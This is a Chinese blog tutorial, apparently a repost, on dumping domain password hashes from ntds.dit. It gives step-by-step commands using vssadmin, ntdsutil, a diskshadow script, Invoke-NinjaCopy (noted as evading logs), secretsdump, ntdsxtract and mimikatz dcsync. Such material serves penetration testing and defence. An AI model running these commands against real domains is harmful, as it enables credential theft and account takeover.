windows中抓取hash小結(下)


 

書接上回,windows中抓取hash小結(上)

指路鏈接 https://www.cnblogs.com/lcxblogs/p/13957899.html

  

繼續

0x03 從ntds.dit中抓取

ntds.dit是域控中保存域用戶的hash等信息的一個二進制數據文件,用system進行加密,可以算是AD域的心臟,路徑見上篇前言

ntds.dit在系統使用的時候是鎖定不能復制下載的,所以只能用某種方式進行“提取”,比如Volume Shadow Copy(卷影拷貝\快照)

常規思路都是先創建目標主機的卷影拷貝,再把ntds.dit復制出來,最后刪除卷影拷貝

 

 先說怎么抓取ntds.dit,最后再說怎么從ntds.dit中導出hash,畢竟講的是抓取hash,我不當標題黨

和SAM一樣,想要破解ntds.dit也需要system文件解密

提取注冊表中的system文件到某處(寫哪都行)例如:        reg save HKLM\SYSTEM c:\windows\temp\system.hive

 

1.vssadmin

 win2008和win7中自帶(不止這倆)

查詢當前系統快照  vssadmin list shadows

創建快照  vssadmin create shadow /for=c:

 

 

獲得這個shadow copy volume name

復制ntds.dit  copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit

 

 

復制system  copy shadow copy name\windows\System32\config\SYSTEM c:\SYSTEM

刪除快照  vssadmin delete shadows /for=c: /quiet

 

 

 

 

2.ntdsutil

這個工具在win2003、2008、2012版本中在域控中自帶的(不止這幾個)

相關命令:

查詢當前快照列表  ntdsutil snapshot "List All" quit quit

查詢已掛載的快照列表  ntdsutil snapshot "List Mounted" quit quit

創建快照  ntdsutil snapshot "activate instance ntds" create quit quit

掛載快照  ntdsutil snapshot "mount GUID" quit quit

卸載快照  ntdsutil snapshot "unmount GUID" quit quit

刪除快照  ntdsutil snapshot "delete GUID" quit quit

 

 

 

 

 創建快照后會有一個snapshot的guid

  這里我的guid是{32de54d0-a217-48ed-87b1-2f0d8c5f6872}

之后掛載這個的快照  ntdsutil snapshot "mount {快照guid}" quit quit  

之后會顯示掛載位置 mounted as 什么什么

  這里是C:\$SNAP_202011181957_VOLUMEC$\

復制ntds.dit  copy 掛載位置\windows\NTDS\ntds.dit c:\ntds.dit

最后卸載快照  ntdsutil snapshot "unmount {快照guid}" quit quit

 

 

刪除快照 ntdsutil snapshot "delete {快照guid}" quit quit

 

 

3.ntdsutil+IFM

ntdsutil除了用命令提取ntds.dit之外,還可以創建IFM來獲取ntds.dit

ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

 

 

 

 可以把ntds.dit拖回本地了

然后誒,把test文件夾一刪除 rmdir /s/q test

完事

(另:nishang中有Copy-VSS.ps1這個腳本

 

插一嘴:別忘了看當前powershell中的腳本策略

powershell中有四種腳本策略:

Restricted: 禁止運行任何腳本和配置文件

AllSigned :可以運行腳本,但要求所有腳本和配置文件由可信發布者簽名,包括在本地計算機上編寫的腳本

RemoteSigned :可以運行腳本,但要求從網絡上下載的腳本和配置文件由可信發布者簽名,不要求對已經運行和已在本地計算機編寫的腳本進行數字簽名

Unrestricted :可以運行未簽名腳本

Get-ExecutionPolicy看一下當前策略

Set-ExecutionPolicy 策略名     改變當前策略

 

 

可以把它傳到域控中,運行powershell窗口,執行如下語句

Import-Module .\Copy-VSS.ps1

Copy-vss

 可以使ntds.dit、SAM、SYSTEM三個文件和此腳本搞到一個目錄下,也可以算是一種一鍵提取ntds.dit的手段)

 

 以上兩個(vssadmin、ntdsutil)是系統本身自帶的,還有一些不是自帶的需要自行下載的腳本如vssown.vbs(與vssadmin類似)、vshadow.exe就不說了

 

4.diskshadow

 

注:這個思路是從網上得來的,僅供參考,實際利用失敗,況且目標域控上無緣無故多了一個虛擬盤符真的沒問題嗎......哪位老懂哥給我說說可行性

 但是diskshadow可以加載文件並執行的這個思路或許可以進一步利用,不只是像本例中為了獲取ntds.dit

 

 

這個工具從名字就能看出是干嘛的,它是可以使用VSS(Volume Shadow Copy Service)卷影拷貝服務提供的功能的一種交互/非交互的命令解釋器,可以利用它來導出ntds.dit,記得winserver 2008、2012、2016上默認都有自帶(更高版本服務器暫時沒用過......)

比較有趣的是,diskshadow可以執行腳本文件,這就意味着可以把命令寫進文件中讓它執行

(注意:使用diskshadow.exe需要在C:\windows\system32\  這個目錄下執行,不然報錯)

 

新建文件1.txt,寫入多條指令,然后執行,一次性解決問題

1.txt如下

set context persistent nowriters  
add volume c: alias someAlias
create
expose %someAlias% k:
exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit c:\ntds.dit
delete shadows all
list shadows all
reset
exit




#逐行解釋
設置卷影拷貝
添加卷
創建快照
分配虛擬磁盤盤符
將ntds.dit復制到C盤
刪除所有快照
列出系統中的卷影拷貝
重置
退出

在固定路徑下用diskshadow加載1.txt

diskshadow /s c:\1.txt

最后還要把system.hive轉儲,里面有ntds.dit密鑰

 

5.NinjaCopy

 

從powersploit中找的,里面有很多腳本

也是一個ps腳本,把NinjaCopy.ps1扔到目標域控中,在腳本當前路徑下的powershell中運行如下命令

Import-Module -name .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "c:\Windows\ntds\ntds.dit" -LocalDestination "c:\ntds.dit"
Invoke-NinjaCopy -Path "c:\Windows\System32\config\SYSTEM" -LocalDestination "c:\system.hiv"

只要調用Volume Shadow Copy服務就會產生7036的系統日志,本方法沒調用,不會產生日志

 

 

 

 

 

 

接下來說說何如從ntds.dit中提取出hash

1.NTDSDumpex

把ntds.dit、SYSTEM、NTDSDumpex.exe放在同一目錄下

NTDSDumpex.exe  -d ntds.dit -s SYETEM

 

2.secretsdump

還是impacket包中的工具

命令: python secretsdump.py -system /目錄/system.hive -ntds /目錄/ntds.dit LOCAL

(我把secretdump.py與system.hive與ntds.dit放在一個目錄中了,實際可調整)

 

 

3.ntdsxtract

思路是用libesedb-tools提供的esedbexport工具從ntds.dit中提取表 ,提取出的表有兩個比較重要database和link_table

然后下載安裝ntdsxtract,用三個重要的參數即提取出來的database、link_table、system.hive(SYSTEM)來獲取hash密碼

 

libesedb下載鏈接 : https://github.com/libyal/libesedb/releases

 

cd進目錄,apt-get install autoconf automake autopoint libtool pkg-config

 

 

 之后按照順序依次執行以下命令:

./configure

make

sudo make install

sudo ldconfig

之后就可以運行esedbexport命令了

 

 

 

 

 

 下載ntdsxtract    git clone https://github.com/csababarta/ntdsxtract.git

 

 

 

 之后cd進ntdsxtract目錄

python setup.py build && python setup.py install

 

把ntds.dit.export文件夾、system.hive文件一起放進ntdsxtract文件夾中

 dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 data --syshive system.hive --passwordhashes --pwdformat john --ntoutfile nthash.txt --lmoutfile lmhash.txt

 

 可以看到導出的結果

 

 

 

4.mimikatz dcsync

mimikatz還有直接讀取ntds.dit的功能,都不需要復制ntds.dit再傳回本地或就地提取hash

在域內任意主機上,以域管理員權限運行mimikatz直接   lsadump::dcsync /domain:域名 /all /csv

或者能把mimikatz在域控上運行,對lsass進程下狠手

privilege::debug

lsadump::lsa /inject

 

0x04 尾聲

這兩篇整理寫了很久啊,電腦還壞了,換了換腦筋,之后要繼續去和VT大戰去了

祝各位年年有0day,歲歲拿高危,payload能免殺,姿勢騷斷腿

 

隨便轉載,請標明作者出處


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM